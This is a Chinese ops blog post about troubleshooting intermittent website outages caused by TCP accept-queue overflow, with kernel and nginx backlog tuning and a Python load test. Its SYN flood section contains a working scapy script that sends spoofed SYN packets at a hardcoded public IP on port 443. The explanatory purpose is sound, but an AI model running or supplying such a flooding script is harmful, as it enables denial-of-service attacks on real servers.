來源:高效運維
ID:greatops
問題描述
-
監控系統發現電商網站主頁及其它頁面間歇性的無法訪問;
-
檢視安全防護和網路流量、應用系統負載均正常;
-
系統重啟後,能夠暫時解決,但持續一段時間後間歇性問題再次出現。
此時問題已影響到整個網站的正常業務,我那個心驚呀,最主要是報警系統沒有任何報警,服務執行一切正常,瞬時背上的汗已經出來了。但還是要靜心,來仔細尋找蛛絲馬跡,來一步一步找問題。
問題初步判斷
-
檢查dev 和 網絡卡裝置層,是否有error和drop ,分析在硬體和系統層是否異常 —– 命令 cat /proc/net/dev 和 ifconfig
-
觀察socket overflow 和 socket droped(如果應用處理全連線佇列(accept queue)過慢 socket overflow,影響半連線佇列(syn queue)上限溢位socket dropped)—– 命令 netstat -s |grep -i listen
發現SYN socket overflow 和 socket droped 急增加
-
檢查sysctl核心引數:backlog ,somaxconn,file-max 和 應用程式的backlog ;
ss -lnt查詢,SEND-Q會取上述引數的最小值
發現當時佇列已經超過網站80埠和443埠預設值
-
檢查 selinux 和 NetworkManager 是否啟用 ,建議禁用;
-
檢查timestap ,reuse 啟用,核心recycle是否啟用,如果過NAT,禁用recycle;
-
抓包判斷請求進來後應用處理的情況,是否收到SYN未響應情況。
深入分析問題
正常TCP建連線三次握手過程:
-
第一步:客戶端 傳送 syn 到 服務端發起握手;
-
第二步:服務端 收到 syn後回覆syn+ack給 客戶端;
-
第三步:客戶端 收到syn+ack後,回覆 服務端一個ack表示收到了 服務端的syn+ack 。
從描述的情況來看,TCP建連線的時候全連線佇列(accept佇列)滿了,尤其是描述中癥狀為了證明是這個原因。反覆看了幾次之後發現這個overflowed 一直在增加,那麼可以明確的是server上全連線佇列一定上限溢位了。
接著檢視上限溢位後,OS怎麼處理:
# cat /proc/sys/net/ipv4/tcp_abort_on_overflow
0
tcp_abort_on_overflow 為0表示如果三次握手第三步的時候全連線佇列滿了那麼server扔掉client 發過來的ack(在server端認為連線還沒建立起來)
為了證明客戶端應用程式碼的異常跟全連線佇列滿有關係,我先把tcp_abort_on_overflow修改成 1,1表示第三步的時候如果全連線佇列滿了,server傳送一個reset包給client,表示廢掉這個握手過程和這個連線(本來在server端這個連線就還沒建立起來)。
接著測試然後在web服務日誌中異常中可以看到很多connection reset by peer的錯誤,到此證明客戶端錯誤是這個原因導致的。
檢視sysctl核心引數:backlog ,somaxconn,file-max 和 nginx的backlog配置引數,ss -ln取最小值,發現為128,此時resv-q已經在129 ,請求被丟棄。將上述引數修改,併進行最佳化:
-
linux核心參進行最佳化:
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 16384
net.core.somaxconn = 16384 -
nginx 配置引數最佳化:
backlog=32768;
利用python 多執行緒壓測,並未發現新的問題:
import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex:
for each_a_tag in soup.find_all('a'):
try:
ex.submit(requests.get,each_a_tag['href'])
except Exception as err:
print('return error msg:'+str(err))
理解TCP握手過程中建連線的流程和佇列
如上圖所示,這裡有兩個佇列:syns queue(半連線佇列);accept queue(全連線佇列)
三次握手中,在第一步server收到client的syn後,把相關資訊放到半連線佇列中,同時回覆syn+ack給client(第二步);
第三步的時候server收到client的ack,如果這時全連線佇列沒滿,那麼從半連線佇列拿出相關資訊放入到全連線佇列中,否則按tcp_abort_on_overflow指示的執行。
這時如果全連線佇列滿了並且tcp_abort_on_overflow是0的話,server過一段時間再次傳送syn+ack給client(也就是重新走握手的第二步),如果client超時等待比較短,就很容易異常了。
sYN Flood洪水攻擊
當前最流行的DoS(拒絕服務攻擊)與DDoS(分散式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,導致被攻擊伺服器保持大量SYN_RECV狀態的“半連線”,並且會重試預設5次回應第二個握手包,塞滿TCP等待連線佇列,資源耗盡(CPU滿負荷或記憶體不足),讓正常的業務請求連線不進來。
from concurrent.futures import ThreadPoolExecutor
from scapy.all import *
def synFlood(tgt,dPort):
srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
'125.130.5.199']
for sPort in range(1024, 65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
packet = ipLayer/tcpLayer
send(packet)
tgt = '139.196.251.198'
print(tgt)
dPort = 443
with ThreadPoolExecutor(10000000) as ex:
try:
ex.submit(synFlood(tgt,dPort))
except Exception as err:
print('return error msg:' + str(err))
所以大家要對TCP半連線佇列和全連線佇列的問題很容易被忽視,但是又很關鍵,特別是對於一些短連線應用更容易爆發。
出現問題後,從網路流量、cpu、執行緒、負載來看都比較正常,在使用者端來看rt比較高,但是從伺服器端的日誌看rt又很短。如何避免在出現問題時手忙腳亂,建立起應急機機制,後續有機會寫一下應急方面的文章。
作者:劉曉明,五礦電商(五阿哥:www.wuage.com)公司運維技術負責人,擁有10年的網際網路開發和運維經驗。一直致力於運維工具的開發和運維專家服務的推進,賦能開發,提高效能。
來源:知乎
連結:https://zhuanlan.zhihu.com/p/36731397
《Linux雲端計算及運維架構師高薪實戰班》2018年07月16日即將開課中,120天衝擊Linux運維年薪30萬,改變速約~~~~
*宣告:推送內容及圖片來源於網路,部分內容會有所改動,版權歸原作者所有,如來源資訊有誤或侵犯權益,請聯絡我們刪除或授權事宜。
– END –
更多Linux好文請點選【閱讀原文】哦
↓↓↓